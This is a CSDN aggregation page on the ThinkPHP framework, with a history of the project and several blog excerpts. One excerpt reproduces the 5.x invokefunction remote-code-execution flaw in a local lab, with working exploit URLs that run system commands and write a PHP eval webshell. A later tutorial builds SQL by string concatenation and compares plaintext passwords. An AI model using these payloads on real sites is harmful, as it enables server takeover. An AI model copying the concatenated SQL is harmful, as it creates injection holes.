thinkphp_thinkphp5 - CSDN
thinkphp 订阅
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]  ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。 展开全文
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]  ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。
信息
定    义
一个开源轻量级PHP框架
诞    生
于2006年初
原    名
FCS
外文名
ThinkPHP
thinkphp发展历史
ThinkPHP发展历程,无数TPer一起见证了ThinkPHP的成长:2006年01月15日, ThinkPHP的雏形版本FCS0.6.0发布;2006年02月12日,(元宵节)发布FCS 0.6. 1 版本,Google讨论组成立;2006年03月15日, FCS 0.7.0版本发布;2006年05月07日, FCS 0.8版本发布;2006年10月25日, FCS 0.9.0版本发布;2006年12月25 日,SF项目和Google网站ThinkPHP项目申请完成;2007年01月01日, FCS正式更名为ThinkPHP;2007年01月08日, ThinkPHP 0.9.5版发布同期官方网站开通;2007年02月21日, TOPThink社区暨新版ThinkPHP官方网站开通,并提供社区支持;2007年02月25日, 发布ThinkPHP 0.9.6版本,完成FCS到ThinkPHP的正式迁移;2007年04月29日, ThinkPHP发布0.9.7版本;2007年07月01日, ThinkPHP发布0.9.8版本;2007年10月15 日,ThinkPHP发布1.0.0RC1版本,完成PHP5的重构;2007年12月15 日,ThinkPHP发布1.0.0正式版本标志着ThinkPHP步入轨道;2008年10月01日, ThinkPHP发布1.0.3正式版本;2008年12月25 日,ThinkPHP发布1.5正式版本并启动商业化支持服务,ThinkPHP进入稳定发展;2009年05月01日, ThinkPHP 发布1.6.0RC1版本;2009年10月01日, ThinkPHP发布2.0版本完成新的重构和飞跃,这是一次划时代的版本;2012年04月05日, ThinkPHP发布3.0版本 庆祝ThinkPHP发布6周年;2012年10月08日, ThinkPHP发布3.1版本;2012年11月11日, ThinkPHP3.1.2扩展包;2013年05月09日,ThinkPHP发布3.1.3完整版;2013年12月18日,ThinkPHP发布3.2正式版;2014年10月31日,ThinkPHP发布3.2.2完整版 [2]  ;2015年12月11日,ThinkPHP 5.0 Beta 发布;2017年02月27日,Thinkphp5.0.5完整版正式发布 [3]  ;2018年05月02日,Thinkphp5.1.0RC版本发布; [4]  2019年04月22日,Thinkphp6.0RC2版本发布 [5]  ;2019年08月16日,Thinkphp6.0RC4版本发布 [6]  ;2019年12月24日,Thinkphp6.0.1版本发布 [7]  ;
收起全文
  • 虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞...

    漏洞概况

    ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

    漏洞危害

    攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。

    影响版本

    5.x < 5.1.31, <= 5.0.23

    复现环境

    thinkphp5.1   phpstudy集成环境(php5.6n+apache+mysql)

    复现过程

    1、如图所示首先搭建好环境

    2、利用system函数远程命令执行:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

    3、通过phpinfo函数写出phpinfo()的信息:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

    4、写入shell:

    http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

    或http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

     

     

     

    展开全文
  • 上一篇我们学习了Windows下Nginx+PHP5+ThinkPHP_3.2.1的安装与配置,现在来要理清ThinkPHP的目录结构及访问规则,创建第一个控制器,弄懂控制器的访问规则,修改惯例配置;ThinkPHP的默认模块名称是“Home”,也就是...

    上一篇:ThinkPHP学习(一) Windows下Nginx+PHP5+ThinkPHP_3.2.1的安装与配置

    ThinkPHP的目录结构

    回顾上一篇的安装目录:


    目录对应关系

    F:\\PHP
    ├─index.php       入口文件
    ├─README.md       README文件
    ├─Application     应用目录
    ├─Public          资源文件目录
    └─ThinkPHP        框架目录


    thinkphp 的目录结构
    ThinkPHP 的目录结构非常清晰和容易部署。大致的目录结构如下,以项目为基础进行部署。

    ┎━ThinkPHP 框架系统目录
    ┃ ┝ ThinkPHP.php 系统公共文件
    ┃ ┝ Common 公共文件目录
    ┃ ┝ Tpl 框架系统模版目录
    ┃ ┝ Lang 系统语言包目录
    ┃ ┝ PlugIns 公共插件目录
    ┃ ┗ Lib 系统基类库目录
    ┃ ┝ Think 系统运行库(必须)
    ┃ ┝ Com 扩展类库包(非必须)
    ┃ ┗ ORG 扩展类库包(非必须) 

    ┝━Application     应用目录、项目目录
    ┃ ┝ index.php 项目入口文件(可任意放置)
    ┃ ┝ Cache 模版缓存目录
    ┃ ┝ Common 公共文件目录(非必须)
    ┃ ┝ Conf 项目配置目录
    ┃ ┝ Data 项目数据目录
    ┃ ┝ Html 静态文件目录(非必须)
    ┃ ┝ PlugIns 插件目录(非必须)
    ┃ ┝ Tpl 模版文件目录
    ┃ ┝ Lang 语言包目录(非必须)
    ┃ ┝ Logs 日志文件目录
    ┃ ┝ Temp 数据缓存目录
    ┃ ┗ Lib 应用类库目录
    ┃ ┝ Action 控制器(模块)类目录
    ┃ ┝ Model Model 类文件目录
    ┃ … 下面的应用目录可根据需要选择和定义
    ┃ ┝ Exception 异常类库目录
    ┃ ┝ Common 公共应用类目录
    ┃ ┗ Help 助手类目录

    ┃…更多项目目录(和App 目录类似,每个项目采用独立目录,便于部署)

    ┝━Public 网站公共目录(多项目公用)
    ┃ ┝ Js JS 类库目录(建议)
    ┃ ┝ Images 公共图像目录(建议)
    ┃ ┗ Uploads 公共上传目录(建议)


    我的“F:\PHP\Application”目录下有个“home”目录,这是ThinkPHP自动生成的一个控制器,

    主要文件是“F:\PHP\Application\Home\Controller\IndexController.class.php”,文件内容如下:

    <?php
    // 本类由系统自动生成,仅供测试用途
    namespace Home\Controller;
    use Think\Controller;
    class IndexController extends Controller {
        public function Index(){
    		$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        }
    }

    在地址栏输入“http://localhost/index.php”,回车,看到的内容,就是这个文件中“Index”函数中的内容。

    访问规则

    “home”目录下的控制器举例,您可以通过以下URL地址访问:

    http://localhost/index.php

    http://localhost/index.php/Home

    http://localhost/index.php/Home/Index

    http://localhost/index.php/Home/Index/Index

    注意:可能会遇到大小写敏感问题,后面的Path首字母小写就访问不了了。

    在 config.php 文件中添加一行:

    'URL_CASE_INSENSITIVE'  => true,   // 默认false 表示URL区分大小写 true则表示不区分大小写

    创建第一个控制器 

    在“F:\PHP\Application”目录下新建一个目录“Index”,偷个赖,把“F:\PHP\Application\Home”目录下的内容都复制

    到“F:\PHP\Application\Index”目录下,打开“F:\PHP\Application\Index\Controller\IndexController.class.php”文件,

    为了确定访问的确实是我们新加的内容,在“Index”函数中添加点东西,代码如下:

    <?php
    namespace Index\Controller;
    use Think\Controller;
    class IndexController extends Controller {
        public function index(){
    		$this->show('//phpinfo();<br>');
    		$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP aaaa</b>!</p></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    		$this->show('function index()<br>');
    	}
    }
    试试通过以下URL地址访问吧:
    http://localhost/index.php/Index

    http://localhost/index.php/Index/Index

    http://localhost/index.php/Index/Index/Index

    修改惯例配置

    ThinkPHP的默认模块名称是“Home”,也就是说如果你在浏览器地址栏中输入“http://localhost/index.php”的话,默认访问的是“http://localhost/index.php/Home”。

    修改方法:用文本编辑工具打开“F:\PHP\ThinkPHP\Conf\convention.php”文件,

    修改第44行为:'DEFAULT_MODULE'        =>  'Index',  // 默认模块

    注意:应用的目录只能是首字母大写后面全部小写,使用“WorkOvertime”结果就出现无法加载控制器的情况!改为“Workovertime”之后,还需要关闭之前的窗口,重新打开一个浏览器窗口访问才能正常!

    下一篇:ThinkPHP学习(三)配置PHP5支持MySQL,连接MySQL数据库

    展开全文
  • ThinkPHP 3.0正式版完全开发手册 CHM格式 如果下载解压后无显示,请单击右键->属性:单击常规标签下方的“解除锁定”,然后“应用”,“确定”,即可查看 -------------------- 华丽的分割线 ---------------------...
  • 这篇又是讲一下使用thinkphp时遇到的问题: 1.关于链式查询  $post_db = D('Post');  $total = $post_db; $total = $total ->where($where1);  $total = $total ->where($where2); $list = $total ->order($or

    这篇又是讲一下使用thinkphp时遇到的问题:

    1.关于链式查询

            $post_db = D('Post');

            $total = $post_db;

    $total=$total->where($where1);  

    $total=$total->where($where2);  

    $list=$total->order($order)->limit($limit)->select();

       $count=$total->count();

    这时我们发现,$count 的值并不是我们查出来的数量,而是总量,而且表达式

    $total=$total ->where($where1);  与 $total->where($where1);的效果是一样的,$total的值会改变,如果我们需要查询总数时,只能重新查询一遍,这是thinkphp里很不人性的功能;


    2. php的原生函数:preg_replace()

    需求:想通过preg_replace()修改文本里的特定值

        最开始使用如下:(备份SQL时修改自增的起始值,为什么有这个需求呢,这牵扯到数据库备份时,备份log文件,分批备份,而此时log也一直在增加,导致自增值失配,在还原数据时有问题)

              preg_replace('/AUTO_INCREMENT=(\d+)/', 'AUTO_INCREMENT='.“$1” + 2, $sql);

    我们发现会被替换成 AUTO_INCREMENT= 2,而$1不被识别,

                         而单独使用'AUTO_INCREMENT='.“$1”,$1可以识别,

    那么问题来了,看样子preg_replace() 的第二个参数如果引用了如“$1”类似的变量,变量的使用会有问题,没去查具体原因, 

    我的解决方法是:

    if(preg_match('/AUTO_INCREMENT=(\d+)/',$sql,$matches)){
                        $auto_int_start = $matches[1] + (int)($count/C('DATA_BACKUP_EXPORT_LIMIT'));
                    }
                    $sql = preg_replace('/AUTO_INCREMENT=(\d+)/', 'AUTO_INCREMENT='.$auto_int_start, $sql);

    那就是事先把只计算好,再替换,后面再看看具体原因吧,如果有同学知道原理,也可以留言告诉我,3Q!

    展开全文
  • PHP-thinkPHP快速入门

    2018-03-03 17:38:24
    这是一篇零基础的thinkPHP教程,全篇看完只需要要一个小时,通过一个简单的网站,我会由点到面的讲述 a.基础的讲述thinkPHP的路由、请求、响应、模板的渲染。 b.如何在thinkPHP框架下实现MVC的设计模式,三层...

    1.教程大纲

    这是一篇零基础的thinkPHP教程,全篇看完只需要要一个小时,通过一个简单的网站,我会由点到面的讲述
    a.基础的讲述thinkPHP的路由、请求、响应、模板的渲染。
    b.如何在thinkPHP框架下实现MVC的设计模式,三层架构之间的跳转和引用。
    c.如何通过原生的SQL语句或者是通过继承model类封装的方法实现对于数据库的增删改查。

    2.网站demo

    a.登录(主要是对于数据库的查找)
    登录页面
    b.注册(主要是对于数据库的插入)
    注册页面
    c.编辑(主要是对于数据库的更新和删除)
    用户列表
    用户信息
    修改密码
    网站源码下载连接
    这里我们建议读者先下载解压源码,运行代码后对于页面功能有了基础的了解后,再结合下面的教程内容,快速了解thinkPHP框架。

    3.MVC

    思索再三我还是决定先简单说一下,thinkPHP的MVC框架。
    首先是view层,我们看到在application下面有我们创建的admin应用,下面有view文件件,这里便放置着我们需要渲染在页面上的html文件。其实,这便是我们网站里面的基础页面,只不过我们没有放到public目录下,而是通过view层封装,方便我们的controller层进行调用。

    其次是controller层,thinkPHP框架中用来处理业务逻辑的代码部分,承当着接受页面请求,返回响应的责任。控住层连接了实体层和视图层,是网站开发的主体部分。controller层的位置和我们的view层是并列的。

    最后是model层,主要是负责映射数据库中的表,可以用来封装从数据库中取出的值,还可以封装一些频繁使用的方法,例如从状态码到实际含义的转换。客观的说,对于一些简单的数据库访问来说,其实model层不是必须的,后面我们在SQL增删改查里面会讲到使用thinkPHP封装好的原生的查询语句,但是model层的实现其实更好方便了我们对于批量数据的处理。
    3.基础的路由、请求、响应、模板渲染。

    a.路由

    首先,路由是用来简化URL访问时的链接,通过路由规则来控制用户的访问。

    '/'=> 'admin/login/login',

    举例,我们在application目录下打开router.php文件,添加这样的一行,就是告诉浏览器,当用户在URL后面追加‘/’作为访问路径时,我们就访问’admin/login/login’这个方法。

    b.请求

    处理业务逻辑时,我们不可避免的产生,前后端的交互,这便需要用请求来告诉后端需要做那些处理。

                    $.ajax({
                        type: "get",
                        url: "admin/login/loginpost",
                        async: true,
                        data: {
                            'name': name,
                            'pwd': pwd
                        },
                        success: function(data) {
                            if(data == "0") {
                                window.location.href = "admin/edit/editget"
                            } else {
                                alert("请检查用户名和密码!")
                            }
                        },
                        error: function() {
                            alert("服务器出错了")
                        }
                    });

    我们看这个ajax里面的请求,就是在登录是前端发送给后端的密码验证请求。

    c.响应

    响应是对于页面请求的回复,这里我们需要对于数据进行增删改查的操作,根据处理的结果对页面进行回复。

        //判断登录
        public function loginpost(Request $request){
            //获取页面登录页面的数据
            $name = $request->param("name");
            $pwd = $request->param("pwd");
    
            //通过查询数据库来验证是否正确登录
            $admin = Admin::get($name);
            if(!$admin||$admin['pwd']!=$pwd){
                //验证失败
                return json("name or pwd has error");
            }else{
                //验证成功 写入session
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }
        }

    如上,便是对于上面登录请求的一个响应,承接到上面,请求收到回复后便会对于结果进行处理。

    d.模板渲染

    上面我们说过,对于页面模板的渲染通常是由控制层进行调用,但是这里需要注意,每个controller层里面的php文件都是对应相应的view,比如你在index.php控制类中调用return view(‘login’);的方法,控制类会默认从对应的view/index目录下面中index.html,这意味中,如果需要进行页面跳转,就需要修改访问路径。
    这里,我们只是进行提示,而不会给出详细举例,因为通过查看报错信息可以很轻易的解决这个问题,然后这个问题可以是各位更好的理解thingPHP框架。

    5.mysql 增删改查

    a.插入
    查看详细的上下文,可以参照register.php文件
    对于原生的SQL语句,需要引入thinkPHP的Db类。

            //sql insert 原生SQL语句
            $sql = "insert into tb_admin values(\"".$name."\",\"".$pwd."\");";
            $result =Db::execute($sql);
            if($result){
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }
            else{
                return json("1");
            }

    你也可以使用model层进行实例化,进行插入。

            //sql insert model method
            $admin = new Admin;
            $admin->name = $name;
            $admin->pwd =$pwd;
    
            if($admin->save()){
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }
            else{
                return json("1");
            }

    b.删除
    查看详细的上下文,可以参照edit.php文件

            //sql delete 原生SQL语句
            $sql = "delete from tb_admin where name = \"".$name."\"";
            $result =Db::execute($sql);
            if($result){
                session_start();
                session_destroy();
                return json("0");
            }
            else{
                return json("1");
            }
            //sql delete model method
            $admin = Admin::get($name);
            if($admin->delete()){
                session_start();
                session_destroy();
                return json("0");
            }
            else{
                return json("1");
            }

    c.更新操作
    查看详细的上下文,可以参照edit.php文件。

            //sql update 原生SQL语句
            $sql = "update tb_admin set pwd =\"".$newpwd."\" where name =\"".$name."\"";
            $result =Db::execute($sql);
            if($result){
                Session::set('pwd',$newpwd);
                return json("0");
            }
            else{
                return json("1");
            }
            //sql update model method
            $admin = Admin::get($name);
            $admin->pwd = $newpwd;
            if($admin->save()){
                Session::set('pwd',$newpwd);
                return json("0");
            }
            else{
                return json("1");
            }

    d.查找操作
    查看详细的上下文,参照login.php文件

    //      //sql select model method
    //      $admin = new Admin;
    //      $admin = $admin->where('name',$name)->find();      
    
            $admin = Admin::get($name);
    
            if(!$admin||$admin['pwd']!=$pwd){
                return json("name or pwd has error");
            }else{
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }

    下面的方法原生的SQL语句,可以通过value的方法获取对应的值。

            //sql select value 
            $adminpwd = Db::name('tb_admin')
                        ->where('name',$name)
                        ->value('pwd');
            if($pwd!=$adminpwd){
                return json("name or pwd has error");
            }
            else{
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }

    下面的也是原生的SQL方法,不过是通过column的方法来获取多列的值。

            //sql select column
            //当column只有一列时,索引为数字
            //当column有很多列时,索引默认为主键,只可以显示的申明主键为索引 
            $result = Db::name('tb_admin')
                    ->where("name",$name)
                    ->column('pwd');
            if($result[0]!=$pwd){
                return json("name or pwd has error");
            }
            else{
                Session::set('name',$name);
                Session::set('pwd',$pwd);
                return json("0");
            }

    e.批量操作
    下面的也是查询操作,不过是对于数据的批量查询,然后分页显示,是一个非常使用的方法。

            //获取所有登录用户信息
            $list = Admin::paginate(3);
            $this->assign('list',$list);
            $this->assign('count',count($list));

    最后,如果有建议和错误,可以在评论区指出,会及时更新。

    展开全文
  • thinkphp框架简要概述

    2018-10-30 15:07:06
    thinkphp 1,概述:是基于php基础开发,进行归纳整理的国内主流框架 thinkphp框架大体分为两类: thinkphp3版和thinkphp5 (1)thinkphp3.2版:(不推荐) 多用于以前的网站的更新与维护; (2)thinkphp5.1版:...
  • 通俗易懂的ThinkPHP文章发布系统源码(前台+后台) 主要是后台可以实现文章的非常方便的发布。 ThinkPHP框架+百度UEditor编辑器实现.具体使用方法参考ruby97的CSDN博客
  • 全面了解PhpSrtorm软件调试ThinkPhp框架 一,前提条件 1.已经安装php7.0 +的Apache2 + ThinkPhp5.0 2.已经安装phpstorm 3.已经安装相对应版本的Xdebug的 二,查看PHPStorm给的调试建议 1.打开PHPStorm 2.打开...
  • ThinkPHP6基于精简核心和统一用法两大原则在5的基础上对底层架构做了进一步的优化改进,并更加规范化。本课程以开发一个真实企业网站项目为基线,以TP6官网手册为标准,把TP6框架理论知识详细贯穿到整个项目实战开发...
  • 说一说ThinkPhp入门创建工程吧,开始ThinkPhp应用编程的第一步。软件环境:1.phpstom,下载链接:点击打开链接2.ThinkPhp3.1版本3.wampserver,集成开发环境,windows+apache+mysql+php的开发环境(本地服务器),...
  • ThinkPHP5.1在5.0的基础上对底层架构做了进一步的改进,引入新特性,并提升版本要求。另外一个事实是,5.1版本看起来对开发者更加友好,表现在目录结构更直观、调试输出更直观和代码提示更直观。 ThinkPHP5.1运行...
  • 在平常的项目中我们总是会遇到需要将某个方法任务定时执行的问题,定时执行方法任务如果我们拥有服务器的权限,...接下来就为大家描述一个基于ThinkPHP框架定时执行任务的例子,具体的方法会在下面进行详细的描述。  
  • ThinkPHP开发大型商城

    2019-06-26 11:44:20
    它诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和...
  • 相信许多PHP开发者在使用ThinkPHP框架进行...你的Controller文件夹下没有存放你控制器的文件,因为很可能你在开始学习或者测试的时候将控制器类写在了Index控制器的文件中,但是在ThinkPHP中,在IndexController.cla
  • 本手记是在thinkPHP5.0.1的基础上的手记。因为ThinkPHP5的小版本的更新比较快,所以5.0.0和5.0.1的差别还是有点儿大,比如5.0.0的部分功能在后续版本中会废弃或者改变使用方法等。所以在看本手记时需要保证你所使用...
  • thinkphp6发布也有一段时间了,相对来说比较稳定,是时候学习一下thinkphp6框架,提前学习,到正式发布的时候,可以直接拿来做正式的项目,先人一步。thinkPHP6.0在5.1的基础上对底层架构做了进一步的精简和统一,...
  • ThinkPHP入门和介绍

    2018-01-02 21:39:57
    thinkphp
  • 本次电商系统涵盖了ThinkPHP6常见的大部分功能知识点,多应用、中间件、视图渲染、助手函数、图片上传、验证码、数据库、模型、异常等。 电商系统界面参考早期的小米商城官网,包含:商品SKU、库存、购物车、...
  • 简介 ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP...遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。 安装 为了方便部...
  • 自从5.2版本变更为6.0以来,官方一直致力于优化架构和精简核心,就在最近,官方已经更新到了ThinkPHP6.0RC3版本。 ThinkPHP6.0在5.1的基础上对底层架构做了进一步的精简和统一,引入了一些新特性,并提升版本要求。...
1 2 3 4 5 ... 20
收藏数 66,761
精华内容 26,704
关键字:

thinkphp